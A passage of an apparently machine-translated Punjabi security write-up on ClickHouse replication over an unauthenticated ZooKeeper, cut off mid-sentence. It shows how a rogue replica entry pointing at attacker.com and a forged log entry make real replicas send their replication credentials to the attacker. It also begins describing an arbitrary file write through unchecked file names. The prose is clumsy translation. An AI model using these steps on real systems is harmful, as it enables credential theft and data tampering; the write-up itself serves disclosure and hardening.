เจคเฉเจนเจพเจจเฉ‚เฉฐ เจšเจฟเฉœเฉ€เจ†เจ˜เจฐ เจฆเฉ‡ เจชเจฟเฉฐเจœเจฐเฉ‡ เจฌเฉฐเจฆ เจฐเฉฑเจ–เจฃ เจฆเฉ€ เจฒเฉ‹เฉœ เจ•เจฟเจ‰เจ‚ เจนเฉˆ?

เจคเฉเจนเจพเจจเฉ‚เฉฐ เจšเจฟเฉœเฉ€เจ†เจ˜เจฐ เจฆเฉ‡ เจชเจฟเฉฐเจœเจฐเฉ‡ เจฌเฉฐเจฆ เจฐเฉฑเจ–เจฃ เจฆเฉ€ เจฒเฉ‹เฉœ เจ•เจฟเจ‰เจ‚ เจนเฉˆ?

เจ‡เจน เจฒเฉ‡เจ– เจ•เจฒเจฟเจ•เจนเจพเจŠเจธ เจฐเฉ€เจชเจฒเฉ€เจ•เฉ‡เจธเจผเจจ เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจฌเจนเฉเจค เจนเฉ€ เจ–เจพเจธ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฆเฉ€ เจ•เจนเจพเจฃเฉ€ เจฆเฉฑเจธเฉ‡เจ—เจพ, เจ…เจคเฉ‡ เจ‡เจน เจตเฉ€ เจฆเจฐเจธเจพเจเจ—เจพ เจ•เจฟ เจนเจฎเจฒเฉ‡ เจฆเฉ€ เจธเจคเจน เจจเฉ‚เฉฐ เจ•เจฟเจตเฉ‡เจ‚ เจซเฉˆเจฒเจพเจ‡เจ† เจœเจพ เจธเจ•เจฆเจพ เจนเฉˆเฅค

เจ•เจฒเจฟเจ•เจนเจพเจŠเจธ เจกเฉ‡เจŸเจพ เจฆเฉ€ เจตเฉฑเจกเฉ€ เจฎเจพเจคเจฐเจพ เจจเฉ‚เฉฐ เจธเจŸเฉ‹เจฐ เจ•เจฐเจจ เจฒเจˆ เจ‡เฉฑเจ• เจกเฉ‡เจŸเจพเจฌเฉ‡เจธ เจนเฉˆ, เจ…เจ•เจธเจฐ เจ‡เฉฑเจ• เจคเฉ‹เจ‚ เจตเฉฑเจง เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€เจ†เจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเฉ‡ เจนเฉ‹เจเฅค เจ•เจฒเจฟเจ•เจนเจพเจŠเจธ เจตเจฟเฉฑเจš เจ•เจฒเฉฑเจธเจŸเจฐเจฟเฉฐเจ— เจ…เจคเฉ‡ เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€ เจธเจฟเจ–เจฐ 'เจคเฉ‡ เจฌเจฃเฉ‡ เจนเฉ‹เจ เจนเจจ Apache ZooKeeper (ZK) เจ…เจคเฉ‡ เจฒเจฟเจ–เจฃ เจฆเฉ‡ เจ…เจงเจฟเจ•เจพเจฐเจพเจ‚ เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉˆเฅค

เจกเจฟเจซเฉŒเจฒเจŸ ZK เจ‡เฉฐเจธเจŸเจพเจฒเฉ‡เจธเจผเจจ เจฒเจˆ เจชเฉเจฐเจฎเจพเจฃเจฟเจ•เจคเจพ เจฆเฉ€ เจฒเฉ‹เฉœ เจจเจนเฉ€เจ‚ เจนเฉเฉฐเจฆเฉ€ เจนเฉˆ, เจ‡เจธเจฒเจˆ เจ•เจพเจซเจ•เจพ, เจนเจกเฉ‚เจช, เจ•เจฒเจฟเจ•เจนเจพเจŠเจธ เจจเฉ‚เฉฐ เจ•เฉŒเจ‚เจซเจฟเจ—เจฐ เจ•เจฐเจจ เจฒเจˆ เจตเจฐเจคเฉ‡ เจœเจพเจ‚เจฆเฉ‡ เจนเจœเจผเจพเจฐเจพเจ‚ ZK เจธเจฐเจตเจฐ เจœเจจเจคเจ• เจคเฉŒเจฐ 'เจคเฉ‡ เจ‰เจชเจฒเจฌเจง เจนเจจเฅค

เจ†เจชเจฃเฉ‡ เจนเจฎเจฒเฉ‡ เจฆเฉ€ เจธเจคเจน เจจเฉ‚เฉฐ เจ˜เจŸเจพเจ‰เจฃ เจฒเจˆ, เจคเฉเจนเจพเจจเฉ‚เฉฐ ZooKeeper เจจเฉ‚เฉฐ เจธเจฅเจพเจชเจค เจ•เจฐเจจ เจตเฉ‡เจฒเฉ‡ เจนเจฎเฉ‡เจธเจผเจพเจ‚ เจชเฉเจฐเจฎเจพเจฃเจฟเจ•เจคเจพ เจ…เจคเฉ‡ เจชเฉเจฐเจฎเจพเจฃเจฟเจ•เจคเจพ เจจเฉ‚เฉฐ เจ•เฉŒเจ‚เจซเจฟเจ—เจฐ เจ•เจฐเจจเจพ เจšเจพเจนเฉ€เจฆเจพ เจนเฉˆ

เจฌเฉ‡เจธเจผเฉฑเจ• เจ•เฉเจ 0-เจฆเจฟเจจ เจ…เจงเจพเจฐเจค เจœเจพเจตเจพ เจกเฉ€เจธเฉ€เจฐเฉ€เจ…เจฒเจพเจˆเจœเจผเฉ‡เจธเจผเจจ เจนเจจ, เจชเจฐ เจ•เจฒเจชเจจเจพ เจ•เจฐเฉ‹ เจ•เจฟ เจ‡เฉฑเจ• เจนเจฎเจฒเจพเจตเจฐ เจœเจผเฉ‚เจ•เฉ€เจชเจฐ เจจเฉ‚เฉฐ เจชเฉœเฉเจน เจ…เจคเฉ‡ เจฒเจฟเจ– เจธเจ•เจฆเจพ เจนเฉˆ, เจ•เจฒเจฟเจ•เจนเจพเจŠเจธ เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€ เจฒเจˆ เจตเจฐเจคเจฟเจ† เจœเจพเจ‚เจฆเจพ เจนเฉˆเฅค

เจœเจฆเฉ‹เจ‚ เจ•เจฒเฉฑเจธเจŸเจฐ เจฎเฉ‹เจก เจตเจฟเฉฑเจš เจธเฉฐเจฐเจšเจฟเจค เจ•เฉ€เจคเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆ, เจคเจพเจ‚ เจ•เจฒเจฟเจ•เจนเจพเจŠเจธ เจตเฉฐเจกเฉ€เจ†เจ‚ เจ—เจˆเจ†เจ‚ เจชเฉเฉฑเจ›เจ—เจฟเฉฑเจ›เจพเจ‚ เจฆเจพ เจธเจฎเจฐเจฅเจจ เจ•เจฐเจฆเจพ เจนเฉˆ เจกเฉ€เจกเฉ€เจเจฒ, ZK เจตเจฟเฉฑเจšเฉ‹เจ‚ เจฒเฉฐเจ˜เจฃเจพ - เจ‰เจนเจจเจพเจ‚ เจฒเจˆ เจธเจผเฉ€เจŸ เจตเจฟเฉฑเจš เจจเฉ‹เจก เจฌเจฃเจพเจ เจ—เจ เจนเจจ /clickhouse/task_queue/ddl.

เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, เจคเฉเจธเฉ€เจ‚ เจ‡เฉฑเจ• เจจเฉ‹เจก เจฌเจฃเจพเจ‰เจ‚เจฆเฉ‡ เจนเฉ‹ /clickhouse/task_queue/ddl/query-0001 เจธเจฎเฉฑเจ—เจฐเฉ€ เจฆเฉ‡ เจจเจพเจฒ:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

เจ…เจคเฉ‡ เจ‰เจธ เจคเฉ‹เจ‚ เจฌเจพเจ…เจฆ, เจŸเฉˆเจธเจŸ เจŸเฉ‡เจฌเจฒ เจจเฉ‚เฉฐ เจ•เจฒเฉฑเจธเจŸเจฐ เจธเจฐเจตเจฐ host1 เจ…เจคเฉ‡ host2 เจคเฉ‹เจ‚ เจฎเจฟเจŸเจพ เจฆเจฟเฉฑเจคเจพ เจœเจพเจตเฉ‡เจ—เจพเฅค DDL CREATE/ALTER/DROP เจชเฉเฉฑเจ›เจ—เจฟเฉฑเจ›เจพเจ‚ เจจเฉ‚เฉฐ เจšเจฒเจพเจ‰เจฃ เจฆเจพ เจตเฉ€ เจธเจฎเจฐเจฅเจจ เจ•เจฐเจฆเจพ เจนเฉˆเฅค

เจกเจฐเจพเจ‰เจฃเฉ€ เจ†เจตเจพเจœเจผ? เจชเจฐ เจ‡เฉฑเจ• เจนเจฎเจฒเจพเจตเจฐ เจจเฉ‚เฉฐ เจธเจฐเจตเจฐ เจชเจคเฉ‡ เจ•เจฟเฉฑเจฅเฉ‹เจ‚ เจฎเจฟเจฒ เจธเจ•เจฆเฉ‡ เจนเจจ?

เจ˜เจฐ เจฆเฉ€ เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€ 'เจคเฉ‡ เจ•เจฒเจฟเฉฑเจ• เจ•เจฐเฉ‹ เจตเจฟเจ…เจ•เจคเฉ€เจ—เจค เจŸเฉ‡เจฌเจฒ เจฆเฉ‡ เจชเฉฑเจงเจฐ 'เจคเฉ‡ เจ•เฉฐเจฎ เจ•เจฐเจฆเจพ เจนเฉˆ, เจคเจพเจ‚ เจœเฉ‹ เจœเจฆเฉ‹เจ‚ ZK เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจธเจพเจฐเจฃเฉ€ เจฌเจฃเจพเจˆ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆ, เจคเจพเจ‚ เจ‡เฉฑเจ• เจธเจฐเจตเจฐ เจจเจฟเจฐเจงเจพเจฐเจค เจ•เฉ€เจคเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆ เจœเฉ‹ เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€เจ†เจ‚ เจฆเฉ‡ เจจเจพเจฒ เจฎเฉˆเจŸเจพเจกเฉ‡เจŸเจพ เจฆเจพ เจ†เจฆเจพเจจ-เจชเฉเจฐเจฆเจพเจจ เจ•เจฐเจจ เจฒเจˆ เจœเจผเจฟเฉฐเจฎเฉ‡เจตเจพเจฐ เจนเฉ‹เจตเฉ‡เจ—เจพเฅค เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, เจ‡เฉฑเจ• เจฌเฉ‡เจจเจคเฉ€ เจจเฉ‚เฉฐ เจฒเจพเจ—เฉ‚ เจ•เจฐเจจ เจตเฉ‡เจฒเฉ‡ (ZK เจธเฉฐเจฐเจšเจฟเจค เจ•เฉ€เจคเจพ เจœเจพเจฃเจพ เจšเจพเจนเฉ€เจฆเจพ เจนเฉˆ, chXX - เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€ เจฆเจพ เจจเจพเจฎ, foobar - เจธเจพเจฐเจฃเฉ€ เจฆเจพ เจจเจพเจฎ):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

เจจเฉ‹เจก เจฌเจฃเจพเจ เจœเจพเจฃเจ—เฉ‡ เจ•เจพเจฒเจฎ ะธ เจฎเฉˆเจŸเจพเจกเฉ‡เจŸเจพ.

เจธเจฎเฉฑเจ—เจฐเฉ€ /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

เจ•เฉ€ เจ‡เจธ เจ•เจฒเฉฑเจธเจŸเจฐ เจคเฉ‹เจ‚ เจกเฉ‡เจŸเจพ เจจเฉ‚เฉฐ เจฎเจฟเจฒเจพเจ‰เจฃเจพ เจธเฉฐเจญเจต เจนเฉˆ? เจนเจพเจ‚, เจœเฉ‡เจ•เจฐ เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€ เจชเฉ‹เจฐเจŸ (TCP/9009) เจธเจฐเจตเจฐ 'เจคเฉ‡ chXX-address เจซเจพเจ‡เจฐเจตเจพเจฒ เจจเฉ‚เฉฐ เจฌเฉฐเจฆ เจจเจนเฉ€เจ‚ เจ•เฉ€เจคเจพ เจœเจพเจตเฉ‡เจ—เจพ เจ…เจคเฉ‡ เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€ เจฒเจˆ เจชเฉเจฐเจฎเจพเจฃเจฟเจ•เจคเจพ เจจเฉ‚เฉฐ เจธเฉฐเจฐเจšเจฟเจค เจจเจนเฉ€เจ‚ เจ•เฉ€เจคเจพ เจœเจพเจตเฉ‡เจ—เจพเฅค เจชเฉเจฐเจฎเจพเจฃเจฟเจ•เจคเจพ เจจเฉ‚เฉฐ เจฌเจพเจˆเจชเจพเจธ เจ•เจฟเจตเฉ‡เจ‚ เจ•เจฐเฉ€เจ?

เจ‡เฉฑเจ• เจนเจฎเจฒเจพเจตเจฐ เจธเจฟเจฐเจซเจผ เจธเจฎเฉฑเจ—เจฐเฉ€ เจฆเฉ€ เจจเจ•เจฒ เจ•เจฐเจ•เฉ‡ ZK เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจจเจตเฉ€เจ‚ เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€ เจฌเจฃเจพ เจธเจ•เจฆเจพ เจนเฉˆ /clickhouse/tables/01-01/foobar/replicas/chXX เจ…เจคเฉ‡ เจ…เจฐเจฅ เจฌเจฆเจฒ เจฐเจฟเจนเจพ เจนเฉˆ host.

เจธเจฎเฉฑเจ—เจฐเฉ€ /clickhouse/tables/01โ€“01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

เจซเจฟเจฐ เจคเฉเจนเจพเจจเฉ‚เฉฐ เจฆเฉ‚เจœเฉ‡ เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€เจ†เจ‚ เจจเฉ‚เฉฐ เจ‡เจน เจฆเฉฑเจธเจฃ เจฆเฉ€ เจœเจผเจฐเฉ‚เจฐเจค เจนเฉˆ เจ•เจฟ เจนเจฎเจฒเจพเจตเจฐ เจฆเฉ‡ เจธเจฐเจตเจฐ 'เจคเฉ‡ เจกเฉ‡เจŸเจพ เจฆเจพ เจ‡เฉฑเจ• เจจเจตเจพเจ‚ เจฌเจฒเจพเจ• เจนเฉˆ เจœเฉ‹ เจ‰เจจเฉเจนเจพเจ‚ เจจเฉ‚เฉฐ เจฒเฉˆเจฃ เจฆเฉ€ เจœเจผเจฐเฉ‚เจฐเจค เจนเฉˆ - ZK เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจจเฉ‹เจก เจฌเจฃเจพเจ‡เจ† เจ—เจฟเจ† เจนเฉˆ /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX เจฎเฉ‹เจจเฉ‹เจŸเฉ‹เจจเจฟเจ• เจคเฉŒเจฐ 'เจคเฉ‡ เจตเจงเจฃ เจตเจพเจฒเจพ เจ•เจพเจŠเจ‚เจŸเจฐ, เจœเฉ‹ เจ•เจฟ เจ‡เจตเฉˆเจ‚เจŸ เจฒเฉŒเจ— เจตเจฟเฉฑเจš เจชเจฟเจ›เจฒเฉ‡ เจ‡เฉฑเจ• เจคเฉ‹เจ‚ เจตเฉฑเจง เจนเฉ‹เจฃเจพ เจšเจพเจนเฉ€เจฆเจพ เจนเฉˆ):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

เจœเจฟเฉฑเจฅเฉ‡ source_replica - เจชเจฟเจ›เจฒเฉ‡ เจชเฉœเจพเจ… เจตเจฟเฉฑเจš เจฌเจฃเจพเจˆ เจ—เจˆ เจนเจฎเจฒเจพเจตเจฐ เจฆเฉ€ เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€ เจฆเจพ เจจเจพเจฎ, เจฌเจฒเจพเจ•_เจ†เจˆเจกเฉ€ - เจกเจพเจŸเจพ เจฌเจฒเจพเจ• เจชเจ›เจพเจฃเจ•เจฐเจคเจพ, เจชเฉเจฐเจพเจชเจค - "เจฌเจฒเจพเจ• เจชเฉเจฐเจพเจชเจค เจ•เจฐเฉ‹" เจ•เจฎเจพเจ‚เจก (เจ…เจคเฉ‡ เจ‡เฉฑเจฅเฉ‡ เจนเฉ‹เจฐ เจ•เจพเจฐเจตเจพเจˆเจ†เจ‚ เจฒเจˆ เจ•เจฎเจพเจ‚เจกเจพเจ‚ เจนเจจ).

เจ…เฉฑเจ—เฉ‡, เจนเจฐเฉ‡เจ• เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€ เจฒเฉŒเจ— เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจจเจตเฉ€เจ‚ เจ‡เจตเฉˆเจ‚เจŸ เจชเฉœเฉเจนเจฆเฉ€ เจนเฉˆ เจ…เจคเฉ‡ เจกเฉ‡เจŸเจพ เจฆเจพ เจ‡เฉฑเจ• เจฌเจฒเจพเจ• เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจ เจฒเจˆ เจนเจฎเจฒเจพเจตเจฐ เจฆเฉเจ†เจฐเจพ เจจเจฟเจฏเฉฐเจคเจฐเจฟเจค เจธเจฐเจตเจฐ เจคเฉ‡ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆ (เจฐเจฟเจชเจฒเฉ€เจ•เฉ‡เจธเจผเจจ เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒ เจฌเจพเจˆเจจเจฐเฉ€ เจนเฉˆ, HTTP เจฆเฉ‡ เจธเจฟเจ–เจฐ 'เจคเฉ‡ เจšเฉฑเจฒ เจฐเจฟเจนเจพ เจนเฉˆ)เฅค เจธเจฐเจตเจฐ attacker.com เจฌเฉ‡เจจเจคเฉ€เจ†เจ‚ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจเจ—เฉ‡:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

เจœเจฟเฉฑเจฅเฉ‡ XXX เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€ เจฒเจˆ เจชเฉเจฐเจฎเจพเจฃเฉ€เจ•เจฐเจจ เจกเฉ‡เจŸเจพ เจนเฉˆเฅค เจ•เฉเจ เจฎเจพเจฎเจฒเจฟเจ†เจ‚ เจตเจฟเฉฑเจš, เจ‡เจน เจฎเฉเฉฑเจ– เจ•เจฒเจฟเจ•เจนเจพเจŠเจธ เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒ เจ…เจคเฉ‡ HTTP เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒ เจฆเฉเจ†เจฐเจพ เจกเฉ‡เจŸเจพเจฌเฉ‡เจธ เจคเฉฑเจ• เจชเจนเฉเฉฐเจš เจตเจพเจฒเจพ เจ–เจพเจคเจพ เจนเฉ‹ เจธเจ•เจฆเจพ เจนเฉˆเฅค เจœเจฟเจตเฉ‡เจ‚ เจ•เจฟ เจคเฉเจธเฉ€เจ‚ เจฆเฉ‡เจ–เจฟเจ† เจนเฉˆ, เจนเจฎเจฒเฉ‡ เจฆเฉ€ เจธเจคเฉเจนเจพ เจ—เฉฐเจญเฉ€เจฐ เจคเฉŒเจฐ 'เจคเฉ‡ เจตเฉฑเจกเฉ€ เจนเฉ‹ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆ เจ•เจฟเจ‰เจ‚เจ•เจฟ เจœเจผเฉ‚เจ•เฉ€เจชเจฐ, เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€ เจฒเจˆ เจตเจฐเจคเจฟเจ† เจœเจพเจ‚เจฆเจพ เจนเฉˆ, เจชเฉเจฐเจฎเจพเจฃเจฟเจ•เจคเจพ เจจเฉ‚เฉฐ เจธเฉฐเจฐเจšเจฟเจค เจ•เฉ€เจคเฉ‡ เจฌเจฟเจจเจพเจ‚ เจ›เฉฑเจก เจฆเจฟเฉฑเจคเจพ เจ—เจฟเจ† เจธเฉ€เฅค

เจ†เจ‰ เจ‡เฉฑเจ• เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€ เจคเฉ‹เจ‚ เจกเฉ‡เจŸเจพ เจฆเฉ‡ เจ‡เฉฑเจ• เจฌเจฒเจพเจ• เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจ เจฆเฉ‡ เจ•เจพเจฐเจœ เจจเฉ‚เฉฐ เจตเฉ‡เจ–เฉ€เจ, เจ‡เจน เจชเฉ‚เจฐเฉ‡ เจญเจฐเฉ‹เจธเฉ‡ เจจเจพเจฒ เจฒเจฟเจ–เจฟเจ† เจ—เจฟเจ† เจนเฉˆ เจ•เจฟ เจธเจพเจฐเฉ€เจ†เจ‚ เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€เจ†เจ‚ เจธเจนเฉ€ เจจเจฟเจฏเฉฐเจคเจฐเจฃ เจตเจฟเฉฑเจš เจนเจจ เจ…เจคเฉ‡ เจ‰เจนเจจเจพเจ‚ เจตเจฟเจšเจ•เจพเจฐ เจตเจฟเจธเจผเจตเจพเจธ เจนเฉˆเฅค

เจคเฉเจนเจพเจจเฉ‚เฉฐ เจšเจฟเฉœเฉ€เจ†เจ˜เจฐ เจฆเฉ‡ เจชเจฟเฉฐเจœเจฐเฉ‡ เจฌเฉฐเจฆ เจฐเฉฑเจ–เจฃ เจฆเฉ€ เจฒเฉ‹เฉœ เจ•เจฟเจ‰เจ‚ เจนเฉˆ?
เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€ เจชเฉเจฐเฉ‹เจธเฉˆเจธเจฟเฉฐเจ— เจ•เฉ‹เจก

เจซเฉฐเจ•เจธเจผเจจ เจซเจพเจˆเจฒเจพเจ‚ เจฆเฉ€ เจธเฉ‚เจšเฉ€ เจชเฉœเฉเจนเจฆเจพ เจนเฉˆ, เจซเจฟเจฐ เจ‰เจนเจจเจพเจ‚ เจฆเฉ‡ เจจเจพเจฎ, เจ†เจ•เจพเจฐ, เจธเจฎเฉฑเจ—เจฐเฉ€, เจ…เจคเฉ‡ เจซเจฟเจฐ เจ‰เจนเจจเจพเจ‚ เจจเฉ‚เฉฐ เจซเจพเจˆเจฒ เจธเจฟเจธเจŸเจฎ เจคเฉ‡ เจฒเจฟเจ–เจฆเจพ เจนเฉˆเฅค เจ‡เจน เจตเฉฑเจ–เจฐเฉ‡ เจคเฉŒเจฐ 'เจคเฉ‡ เจตเจฐเจฃเจจ เจ•เจฐเจจ เจฏเฉ‹เจ— เจนเฉˆ เจ•เจฟ เจซเจพเจˆเจฒ เจธเจฟเจธเจŸเจฎ เจตเจฟเฉฑเจš เจกเฉ‡เจŸเจพ เจ•เจฟเจตเฉ‡เจ‚ เจธเจŸเฉ‹เจฐ เจ•เฉ€เจคเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆ.

เจตเจฟเฉฑเจš เจ•เจˆ เจ‰เจช-เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€เจ†เจ‚ เจนเจจ /var/lib/clickhouse (เจธเฉฐเจฐเจšเจจเจพ เจซเจพเจ‡เจฒ เจคเฉ‹เจ‚ เจกเจฟเจซเจพเจฒเจŸ เจธเจŸเฉ‹เจฐเฉ‡เจœเจผ เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€):

เจเฉฐเจกเฉ‡ - เจฐเจฟเจ•เจพเจฐเจกเจฟเฉฐเจ— เจฒเจˆ เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€ เจเฉฐเจกเฉ‡, เจกเจพเจŸเจพ เจ–เจฐเจพเจฌ เจนเฉ‹เจฃ เจคเฉ‹เจ‚ เจฌเจพเจ…เจฆ เจฐเจฟเจ•เจตเจฐเฉ€ เจตเจฟเฉฑเจš เจตเจฐเจคเจฟเจ† เจœเจพเจ‚เจฆเจพ เจนเฉˆ;
tmp - เจ…เจธเจฅเจพเจˆ เจซเจพเจˆเจฒเจพเจ‚ เจจเฉ‚เฉฐ เจธเจŸเฉ‹เจฐ เจ•เจฐเจจ เจฒเจˆ เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€;
user_files โ€” เจฌเฉ‡เจจเจคเฉ€เจ†เจ‚ เจตเจฟเฉฑเจš เจซเจพเจˆเจฒเจพเจ‚ เจฆเฉ‡ เจจเจพเจฒ เจ“เจชเจฐเฉ‡เจธเจผเจจ เจ‡เจธ เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€ เจคเฉฑเจ• เจธเฉ€เจฎเจฟเจค เจนเจจ (INTO OUTFILE เจ…เจคเฉ‡ เจนเฉ‹เจฐ);
เจฎเฉˆเจŸเจพเจกเฉ‡เจŸเจพ - เจธเจพเจฐเจฃเฉ€ เจฆเฉ‡ เจตเจฐเจฃเจจ เจจเจพเจฒ sql เจซเจพเจˆเจฒเจพเจ‚;
preprocessed_configs - เจคเฉ‹เจ‚ เจชเฉเจฐเฉ‹เจธเฉˆเจธเจก เจกเฉˆเจฐเฉ€เจตเฉ‡เจŸเจฟเจต เจ•เฉŒเจ‚เจซเจฟเจ—เจฐเฉ‡เจธเจผเจจ เจซเจพเจˆเจฒเจพเจ‚ /etc/clickhouse-server;
เจกเจพเจŸเจพ - เจกเฉ‡เจŸเจพ เจฆเฉ‡ เจจเจพเจฒ เจ…เจธเจฒ เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€, เจ‡เจธ เจธเจฅเจฟเจคเฉ€ เจตเจฟเฉฑเจš เจนเจฐเฉ‡เจ• เจกเฉ‡เจŸเจพเจฌเฉ‡เจธ เจฒเจˆ เจ‡เฉฑเจ• เจตเฉฑเจ–เจฐเฉ€ เจธเจฌ-เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€ เจ‡เฉฑเจฅเฉ‡ เจฌเจฃเจพเจˆ เจ—เจˆ เจนเฉˆ (เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ /var/lib/clickhouse/data/default).

เจนเจฐเฉ‡เจ• เจธเจพเจฐเจฃเฉ€ เจฒเจˆ, เจกเฉ‡เจŸเจพเจฌเฉ‡เจธ เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจ‰เจช-เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€ เจฌเจฃเจพเจˆ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆเฅค เจนเจฐเฉ‡เจ• เจ•เจพเจฒเจฎ 'เจคเฉ‡ เจจเจฟเจฐเจญเจฐ เจ•เจฐเจฆเจฟเจ†เจ‚ เจ‡เฉฑเจ• เจตเฉฑเจ–เจฐเฉ€ เจซเจพเจˆเจฒ เจนเฉˆ เจ‡เฉฐเจœเจฃ เจซเจพเจฐเจฎเฉˆเจŸ. เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ เจ‡เฉฑเจ• เจŸเฉ‡เจฌเจฒ เจฒเจˆ foobarเจ‡เฉฑเจ• เจนเจฎเจฒเจพเจตเจฐ เจฆเฉเจ†เจฐเจพ เจฌเจฃเจพเจ‡เจ† เจ—เจฟเจ†, เจนเฉ‡เจ  เจฒเจฟเจ–เฉ€เจ†เจ‚ เจซเจพเจˆเจฒเจพเจ‚ เจฌเจฃเจพเจˆเจ†เจ‚ เจœเจพเจฃเจ—เฉ€เจ†เจ‚:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

เจฐเจฟเจชเจฒเฉ€เจ•เจพ เจกเฉ‡เจŸเจพ เจฆเฉ‡ เจ‡เฉฑเจ• เจฌเจฒเจพเจ• เจฆเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจ•เจฐเจฆเฉ‡ เจธเจฎเฉ‡เจ‚ เจ‡เฉฑเจ•เฉ‹ เจจเจพเจฎ เจตเจพเจฒเฉ€เจ†เจ‚ เจซเจพเจˆเจฒเจพเจ‚ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจ เจฆเฉ€ เจ‰เจฎเฉ€เจฆ เจ•เจฐเจฆเฉ€ เจนเฉˆ เจ…เจคเฉ‡ เจ‰เจนเจจเจพเจ‚ เจจเฉ‚เฉฐ เจ•เจฟเจธเฉ‡ เจตเฉ€ เจคเจฐเฉ€เจ•เฉ‡ เจจเจพเจฒ เจชเฉเจฐเจฎเจพเจฃเจฟเจค เจจเจนเฉ€เจ‚ เจ•เจฐเจฆเฉ€ เจนเฉˆเฅค

เจงเจฟเจ†เจจ เจฆเฉ‡เจฃ เจตเจพเจฒเฉ‡ เจชเจพเจ เจ• เจจเฉ‡ เจธเจผเจพเจ‡เจฆ เจชเจนเจฟเจฒเจพเจ‚ เจนเฉ€ เจ‡เฉฑเจ• เจซเฉฐเจ•เจธเจผเจจ เจตเจฟเฉฑเจš เจซเจพเจˆเจฒ_เจจเจพเจฎ เจฆเฉ‡ เจ…เจธเฉเจฐเฉฑเจ–เจฟเจ…เจค เจœเฉ‹เฉœ เจฌเจพเจฐเฉ‡ เจธเฉเจฃเจฟเจ† เจนเฉ‹เจตเฉ‡เจ—เจพ WriteBufferFromFile. เจนเจพเจ‚, เจ‡เจน เจนเจฎเจฒเจพเจตเจฐ เจจเฉ‚เฉฐ เจ‰เจชเจญเฉ‹เจ—เจคเจพ เจ…เจงเจฟเจ•เจพเจฐเจพเจ‚ เจฆเฉ‡ เจจเจพเจฒ FS 'เจคเฉ‡ เจ•เจฟเจธเฉ‡ เจตเฉ€ เจซเจพเจˆเจฒ 'เจคเฉ‡ เจฎเจจเจฎเจพเจจเฉ€ เจธเจฎเฉฑเจ—เจฐเฉ€ เจฒเจฟเจ–เจฃ เจฆเฉ€ 